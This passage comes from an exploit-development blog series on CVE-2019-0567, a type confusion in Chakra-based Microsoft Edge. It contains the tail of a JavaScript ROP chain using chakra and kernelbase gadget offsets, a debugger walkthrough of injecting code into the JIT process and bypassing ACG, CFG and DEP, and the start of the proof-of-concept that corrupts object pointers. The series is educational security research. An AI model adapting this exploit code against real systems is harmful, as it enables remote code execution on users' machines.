    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xd2125</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (RAX already has valid pointer)</span>
    <span class="nx">next</span><span class="p">();</span>

    <span class="c1">// Call KERNELBASE!ResumeThread</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">kernelbaseLo</span><span class="o">+</span><span class="mh">0x70a50</span><span class="p">,</span> <span class="nx">kernelbaseHigh</span><span class="p">);</span> <span class="c1">// KERNELBASE!ResumeThread address </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!ResumeThread)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// "return address" for KERNELBASE!ResumeThread - 0x180243949: add rsp, 0x38 ; ret</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)         </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38     </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38        </span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">next</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>
    <span class="nx">next</span><span class="p">();</span>
<span class="p">}</span>
<span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt;
</span></code></pre></div></div>

<p>Let’s start by setting a breakpoint on a <code class="language-plaintext highlighter-rouge">jmp rax</code> gadget to reach our <code class="language-plaintext highlighter-rouge">SetThreadContext</code> call.</p>

<p><img src="/images/3typeconfusion188.png" alt="" /></p>

<p>The first parameter we will deal with is the handle to the remote thread we have within the JIT process.</p>

<p><img src="/images/3typeconfusion189.png" alt="" /></p>

<p>This brings our calls to the following states:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SetThreadContext</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>				<span class="c1">// A handle to the thread we want to set (our thread we created via CreateRemoteThread)</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ResumeThread</span><span class="p">(</span>
	<span class="o">-</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we will set is the pointer to our updated <code class="language-plaintext highlighter-rouge">CONTEXT</code> structure.</p>

<p><img src="/images/3typeconfusion190.png" alt="" /></p>

<p>We then can get <code class="language-plaintext highlighter-rouge">SetThreadContext</code> into RAX and call it. The call should be in the following state:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">SetThreadContext</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>				<span class="c1">// A handle to the thread we want to set (our thread we created via CreateRemoteThread)</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">VirtualAlloc_buffer</span><span class="p">)</span>		<span class="c1">// The updated CONTEXT structure</span>
<span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion191.png" alt="" /></p>

<p>We then can execute our <code class="language-plaintext highlighter-rouge">SetThreadContext</code> call and hit our first <code class="language-plaintext highlighter-rouge">ResumeThread</code> gadget.</p>

<p><img src="/images/3typeconfusion192.png" alt="" /></p>

<p><code class="language-plaintext highlighter-rouge">ResumeThread</code> only has one parameter, so we will fill it and set up RAX BUT WE WILL NOT YET EXECUTE THE CALL!</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ResumeThread</span><span class="p">(</span>
	<span class="n">threadHandle</span><span class="p">,</span>				<span class="c1">// A handle to the thread we want to set (our thread we created via CreateRemoteThread)</span>
<span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion193.png" alt="" /></p>

<p>Before we execute <code class="language-plaintext highlighter-rouge">ResumeThread</code>, we now need to attach <em>another</em> WinDbg instance to the JIT process. We will set a breakpoint on our <code class="language-plaintext highlighter-rouge">ret</code> gadget and see if we successfully control the remote thread!</p>

<p><img src="/images/3typeconfusion194.png" alt="" /></p>

<p>Coming back to the content process, we can hit <code class="language-plaintext highlighter-rouge">pt</code> to execute our call to <code class="language-plaintext highlighter-rouge">ResumeThread</code>, which should kick off execution of our remote thread within the JIT process!</p>

<p><img src="/images/3typeconfusion195.png" alt="" /></p>

<p>Going back to the JIT process, we can see our breakpoint was hit and our ROP chain is on the stack! We have gained code execution in the JIT process!</p>

<p><img src="/images/3typeconfusion196.png" alt="" /></p>

<p>Our last step will be to walk through our <code class="language-plaintext highlighter-rouge">VirtualProtect</code> ROP chain, which should mark our shellcode as RWX. Here is how the call should look:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualProtect</span><span class="p">(</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>				<span class="c1">// The address of our already injected shellcode (we want this to be marked as RWX)</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>				<span class="c1">// The size of the memory we want to mark as RWX</span>
	<span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span>				<span class="c1">// We want our shellcode to be RWX</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_address</span><span class="p">)</span> 			<span class="c1">// Any writable address</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Executing the <code class="language-plaintext highlighter-rouge">ret</code> gadget, we hit our first ROP gadgets which setup the <code class="language-plaintext highlighter-rouge">lpflOldProtect</code> parameter, which is any address that is writable</p>

<p><img src="/images/3typeconfusion197.png" alt="" /></p>

<p>We are now here:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualProtect</span><span class="p">(</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_address</span><span class="p">)</span> 			<span class="c1">// Any writable address</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The next parameter we will address is the <code class="language-plaintext highlighter-rouge">lpAddress</code> parameter - which is the address of our shellcode (the page we want to mark as RWX)</p>

<p><img src="/images/3typeconfusion198.png" alt="" /></p>

<p>We are now here:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualProtect</span><span class="p">(</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>				<span class="c1">// The address of our already injected shellcode (we want this to be marked as RWX)</span>
	<span class="o">-</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_address</span><span class="p">)</span> 			<span class="c1">// Any writable address</span>
<span class="p">);</span>
</code></pre></div></div>

<p>Next up is <code class="language-plaintext highlighter-rouge">dwSize</code>, which we set to <code class="language-plaintext highlighter-rouge">0x1000</code>.</p>

<p><img src="/images/3typeconfusion199.png" alt="" /></p>

<p>We are now here:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualProtect</span><span class="p">(</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>				<span class="c1">// The address of our already injected shellcode (we want this to be marked as RWX)</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>				<span class="c1">// The size of the memory we want to mark as RWX</span>
	<span class="o">-</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_address</span><span class="p">)</span> 			<span class="c1">// Any writable address</span>
<span class="p">);</span>
</code></pre></div></div>

<p>The last parameter is our page protection, which is <code class="language-plaintext highlighter-rouge">PAGE_EXECUTE_READWRITE</code>.</p>

<p><img src="/images/3typeconfusion200.png" alt="" /></p>

<p>We are now all setup!</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">VirtualProtect</span><span class="p">(</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>				<span class="c1">// The address of our already injected shellcode (we want this to be marked as RWX)</span>
	<span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span>				<span class="c1">// The size of the memory we want to mark as RWX</span>
	<span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">,</span>				<span class="c1">// We want our shellcode to be RWX</span>
	<span class="n">addressof</span><span class="p">(</span><span class="n">data_address</span><span class="p">)</span> 			<span class="c1">// Any writable address</span>
<span class="p">);</span>
</code></pre></div></div>

<p><img src="/images/3typeconfusion201.png" alt="" /></p>

<p>After executing the function call, we have marked our shellcode as RWX! We have successfully bypassed Arbitrary Code Guard and have generated dynamic RWX memory!</p>

<p><img src="/images/3typeconfusion202.png" alt="" /></p>

<p>The last thing for us is to ensure execution reaches our shellcode. After executing the <code class="language-plaintext highlighter-rouge">VirtualProtect</code> function, let’s see if we hit the last part of our ROP chain - which should push our shellcode address onto the stack, and return into it.</p>

<p><img src="/images/3typeconfusion203.png" alt="" /></p>

<p>That’s it! We have achieved our task and we now can execute our shellcode!</p>

<p><img src="/images/3typeconfusion204.png" alt="" /></p>

<p>An exploit GIF shall suit us nicely here!</p>

<p><img src="/images/final_acg_exploit.gif" alt="" /></p>

<p>Meterpreter is also loaded as a reflective, in memory DLL - meaning we have also taken care of CIG as well! That makes for DEP, ASLR, CFG, ACG, CIG, and no-child process mitigation bypasses! No wonder this post was so long!</p>

<h2 id="conclusion">Conclusion</h2>
<p>This was an extremely challenging and rewarding task. Browser exploitation has been a thorn in my side for a long time, and I am very glad I now understand the basics. I do not yet know what is in my future, but if it is close to this level of complexity (I, at least, thought it was complex) I should be in for a treat! It is 4 a.m., so I am signing off now. Here is the final <a href="https://github.com/connormcgarr/Exploit-Development/blob/master/Browser/CVE-2019-0567.html">exploit on my GitHub</a>.</p>

<p>Peace, love, and positivity :-)</p>]]></content><author><name>Connor McGarr</name></author><category term="posts" /><summary type="html"><![CDATA[Porting part 2's ChakraCore exploit to Microsoft Edge while defeating ASLR, DEP, CFG, ACG, CIG, and other mitigations.]]></summary></entry><entry><title type="html">Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)</title><link href="/type-confusion-part-2/" rel="alternate" type="text/html" title="Exploit Development: Browser Exploitation on Windows - CVE-2019-0567, A Microsoft Edge Type Confusion Vulnerability (Part 2)" /><published>2022-03-16T00:00:00+00:00</published><updated>2022-03-16T00:00:00+00:00</updated><id>/type-confusion-part-2</id><content type="html" xml:base="/type-confusion-part-2/"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>In <a href="https://connormcgarr.github.io/type-confusion-part-1/">part one</a> we went over setting up a ChakraCore exploit development environment, understanding how JavaScript (more specifically, the Chakra/ChakraCore engine) manages dynamic objects in memory, and vulnerability analysis of CVE-2019-0567 - a type confusion vulnerability that affects Chakra-based Microsoft Edge and ChakraCore. In this post, part two, we will pick up where we left off and begin by taking our proof-of-concept script, which “crashes” Edge and ChakraCore as a result of the type confusion vulnerability, and convert it into a read/write primitive. This primitive will then be used to gain code execution against ChakraCore and the ChakraCore shell, <code class="language-plaintext highlighter-rouge">ch.exe</code>, which essentially is a command-line JavaScript shell that allows execution of JavaScript. For our purposes, we can think of <code class="language-plaintext highlighter-rouge">ch.exe</code> as Microsoft Edge, but without the visuals. Then, in part three, we will port our exploit to Microsoft Edge to gain full code execution.</p>

<p>This post will also be dealing with ASLR, DEP, and Control Flow Guard (CFG) exploit mitigations. As we will see in part three, when we port our exploit to Edge, we will also have to deal with Arbitrary Code Guard (ACG). However, this mitigation isn’t enabled within ChakraCore - so we won’t have to deal with it within this blog post.</p>

<p>Lastly, before beginning this portion of the blog series, much of what is used in this blog post comes from <a href="https://github.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler/blob/master/pres.pdf">Bruno Keith’s</a> amazing work on this subject, as well as the <a href="https://perception-point.io/cve-2019-0539-remote-code-execution/">Perception Point</a> blog post on the “sister” vulnerability to CVE-2019-0567. With that being said, let’s go ahead and jump right into it!</p>

<h2 id="chakracorechakra-exploit-primitives">ChakraCore/Chakra Exploit Primitives</h2>
<p>Let’s recall the memory layout, from part one, of our dynamic object <em>after</em> the type confusion occurs.</p>

<p><img src="/images/2typeconfusion1.png" alt="" /></p>

<p>As we can see above, we have overwritten the <code class="language-plaintext highlighter-rouge">auxSlots</code>	pointer with a value we control, of <code class="language-plaintext highlighter-rouge">0x1234</code>. Additionally, recall from part one of this blog series when we talked about JavaScript objects. A value in JavaScript is 64-bits (technically), but only 32-bits are used to hold the actual value (in the case of <code class="language-plaintext highlighter-rouge">0x1234</code>, the value is represented in memory as <code class="language-plaintext highlighter-rouge">001000000001234</code>. This is a result of “NaN boxing”, where JavaScript encodes type information in the upper 17-bits of the value. We also know that anything that <em>isn’t</em> a static object (generally speaking) is a dynamic object. We know that dynamic objects are “the exception to the rule”, and are actually represented in memory as a pointer. We saw this in part one by dissecting how dynamic objects are laid out in memory (e.g. <code class="language-plaintext highlighter-rouge">object</code> points to <code class="language-plaintext highlighter-rouge">| vtable | type | auxSlots |</code>).</p>

<p>What this means for our vulnerability is that we can overwrite the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer currently, but we can only overwrite it with a value that is NaN-boxed, meaning we can’t hijack the object with anything particularly interesting, as we are on a 64-bit machine but we can only overwrite the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer with a 32-bit value in our case, when using something like <code class="language-plaintext highlighter-rouge">0x1234</code>.</p>

<p>The above is only a <em>half truth</em>, as we can use some “hacks” to actually end up controlling this <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer with something interesting, actually with a “chain” of interesting items, to force ChakraCore to do something nefarious - which will eventually lead us to code execution.</p>

<p>Let’s update our proof-of-concept, which we will save as <code class="language-plaintext highlighter-rouge">exploit.js</code>, with the following JavaScript:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Creating object obj</span>
<span class="c1">// Properties are stored via auxSlots since properties weren't declared inline</span>
<span class="nx">obj</span> <span class="o">=</span> <span class="p">{}</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">c</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">d</span> <span class="o">=</span> <span class="mi">4</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">e</span> <span class="o">=</span> <span class="mi">5</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">f</span> <span class="o">=</span> <span class="mi">6</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">g</span> <span class="o">=</span> <span class="mi">7</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">h</span> <span class="o">=</span> <span class="mi">8</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9</span><span class="p">;</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">j</span> <span class="o">=</span> <span class="mi">10</span><span class="p">;</span>

<span class="kd">function</span> <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">proto</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">o</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>

    <span class="kd">let</span> <span class="nx">tmp</span> <span class="o">=</span> <span class="p">{</span><span class="na">__proto__</span><span class="p">:</span> <span class="nx">proto</span><span class="p">};</span>

    <span class="nx">o</span><span class="p">.</span><span class="nx">a</span> <span class="o">=</span> <span class="nx">value</span><span class="p">;</span>
<span class="p">}</span>

<span class="kd">function</span> <span class="nx">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">2000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
        <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="p">{},</span> <span class="p">{});</span>
    <span class="p">}</span>

    <span class="kd">let</span> <span class="nx">o</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>

    <span class="nx">opt</span><span class="p">(</span><span class="nx">o</span><span class="p">,</span> <span class="nx">o</span><span class="p">,</span> <span class="nx">obj</span><span class="p">);</span>		<span class="c1">// Instead of supplying 0x1234, we are supplying our obj</span>
<span class="p">}</span>

<span class="nx">main</span><span class="p">();</span>
</code></pre></div></div>

<p>Our <code class="language-plaintext highlighter-rouge">exploit.js</code> is <em>slightly</em> different than our original proof-of-concept. When the type confusion is exploited, we now are supplying <code class="language-plaintext highlighter-rouge">obj</code> instead of a value of <code class="language-plaintext highlighter-rouge">0x1234</code>. In not so many words, the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer of our <code class="language-plaintext highlighter-rouge">o</code> object, previously overwritten with <code class="language-plaintext highlighter-rouge">0x1234</code> in part one, will now be overwritten with the address of our <code class="language-plaintext highlighter-rouge">obj</code> object. Here is where this gets interesting.</p>

<p>Recall that any object that isn’t NaN-boxed is considered a pointer. Since <code class="language-plaintext highlighter-rouge">obj</code> is a dynamic object, it is represented in memory as such:</p>

<p><img src="/images/2typeconfusion2.png" alt="" /></p>

<p>What this means is that instead of our corrupted <code class="language-plaintext highlighter-rouge">o</code> object after the type confusion being laid out as such:</p>

<p><img src="/images/2typeconfusion1.png" alt="" /></p>

<p>It will actually look like this in memory:</p>

<p><img src="/images/2typeconfusion3.png" alt="" /></p>

<p>Our <code class="language-plaintext highlighter-rouge">o</code> object, who’s <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer we can corrupt, now technically has a valid pointer in the <code class="language-plaintext highlighter-rouge">auxSlots</code> location within the object. However, we can clearly see that the <code class="language-plaintext highlighter-rouge">o-&gt;auxSlots</code> pointer isn’t pointing to an array of properties, it is actually pointing to the <code class="language-plaintext highlighter-rouge">obj</code> object which we created! Our <code class="language-plaintext highlighter-rouge">exploit.js</code> script essentially updates <code class="language-plaintext highlighter-rouge">o-&gt;auxSlots</code> to <code class="language-plaintext highlighter-rouge">o-&gt;auxSlots = addressof(obj)</code>. This essentially means that <code class="language-plaintext highlighter-rouge">o-&gt;auxSlots</code> now contains the memory address of the <code class="language-plaintext highlighter-rouge">obj</code> object, instead of a valid <code class="language-plaintext highlighter-rouge">auxSlots</code> array address.</p>

<p>Recall also that we control the <code class="language-plaintext highlighter-rouge">o</code> properties, and can call them at any point in <code class="language-plaintext highlighter-rouge">exploit.js</code> via <code class="language-plaintext highlighter-rouge">o.a</code>, <code class="language-plaintext highlighter-rouge">o.b</code>, etc. For instance, if there was no type confusion vulnerability, and if we wanted to fetch the <code class="language-plaintext highlighter-rouge">o.a</code> property, we know this is how it would be done (considering <code class="language-plaintext highlighter-rouge">o</code> had been type transitioned to an <code class="language-plaintext highlighter-rouge">auxSlots</code> setup):</p>

<p><img src="/images/2typeconfusion4.png" alt="" /></p>

<p>We know this to be the case, as we are well aware ChakraCore will dereference <code class="language-plaintext highlighter-rouge">dynamic_object+0x10</code> to pull the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer. After retrieving the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer, ChakraCore will add the appropriate index to the <code class="language-plaintext highlighter-rouge">auxSlots</code> address to fetch a given property, such as <code class="language-plaintext highlighter-rouge">o.a</code>, which is stored at offset <code class="language-plaintext highlighter-rouge">0</code> or <code class="language-plaintext highlighter-rouge">o.b</code>, which is stored at offset <code class="language-plaintext highlighter-rouge">0x8</code>. We saw this in part one of this blog series, and this is no different than how any other array stores and fetches an appropriate index.</p>

<p>What’s most interesting about all of this is that ChakraCore will still act on our <code class="language-plaintext highlighter-rouge">o</code> object as if the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer is still valid and hasn’t been corrupted. After all, this was the root cause of our vulnerability in part one. When we acted on <code class="language-plaintext highlighter-rouge">o.a</code>, after corrupting <code class="language-plaintext highlighter-rouge">auxSlots</code> to <code class="language-plaintext highlighter-rouge">0x1234</code>, an access violation occurred, as <code class="language-plaintext highlighter-rouge">0x1234</code> is invalid memory.</p>

<p>This time, however, we have provided <em>valid</em> memory within <code class="language-plaintext highlighter-rouge">o-&gt;auxSlots</code>. So acting on <code class="language-plaintext highlighter-rouge">o.a</code> would actually take address is stored at <code class="language-plaintext highlighter-rouge">auxSlots</code>, dereference it, and then return the value stored at offset <code class="language-plaintext highlighter-rouge">0</code>. Doing this currently, with our <code class="language-plaintext highlighter-rouge">obj</code> object being supplied as the <code class="language-plaintext highlighter-rouge">auxSlots</code> pointer for our corrupted <code class="language-plaintext highlighter-rouge">o</code> object, will actually return the <code class="language-plaintext highlighter-rouge">vftable</code> from our <code class="language-plaintext highlighter-rouge">obj</code> object. This is because the first <code class="language-plaintext highlighter-rouge">0x10</code> bytes of a dynamic object contain metadata, like <code class="language-plaintext highlighter-rouge">vftable</code> and <code class="language-plaintext highlighter-rouge">type</code>. Since ChakraCore is treating our <code class="language-plaintext highlighter-rouge">obj</code> as an <code class="language-plaintext highlighter-rouge">auxSlots</code> array, which can be indexed <em>directly</em> at an offset of <code class="language-plaintext highlighter-rouge">0</code>, via <code class="language-plaintext highlighter-rouge">auxSlots[0]</code>, we can actually interact with this metadata. This can be seen below.</p>

<p><img src="/images/2typeconfusion5.png" alt="" /></p>

<p>Usually we can expect that the dereferenced contents of <code class="language-plaintext highlighter-rouge">o+0x10</code>, a.k.a. <code class="language-plaintext highlighter-rouge">auxSlots</code>, at an offset of <code class="language-plaintext highlighter-rouge">0</code>, to contain the actual, raw value of <code class="language-plaintext highlighter-rouge">o.a</code>. After the type confusion vulnerability is used to corrupt <code class="language-plaintext highlighter-rouge">auxSlots</code> with a <em>different</em> address (the address of <code class="language-plaintext highlighter-rouge">obj</code>), whatever is stored at this address, at an offset of <code class="language-plaintext highlighter-rouge">0</code>, is dereferenced and returned to whatever part of the JavaScript code is trying to retrieve the value of <code class="language-plaintext highlighter-rouge">o.a</code>. Since we have corrupted <code class="language-plaintext highlighter-rouge">auxSlots</code> with the address of an object, ChakraCore doesn’t know <code class="language-plaintext highlighter-rouge">auxSlots</code> is gone, and it will still gladly index whatever is at <code class="language-plaintext highlighter-rouge">auxSlots[0]</code> when the script tries to access the first property (in this case <code 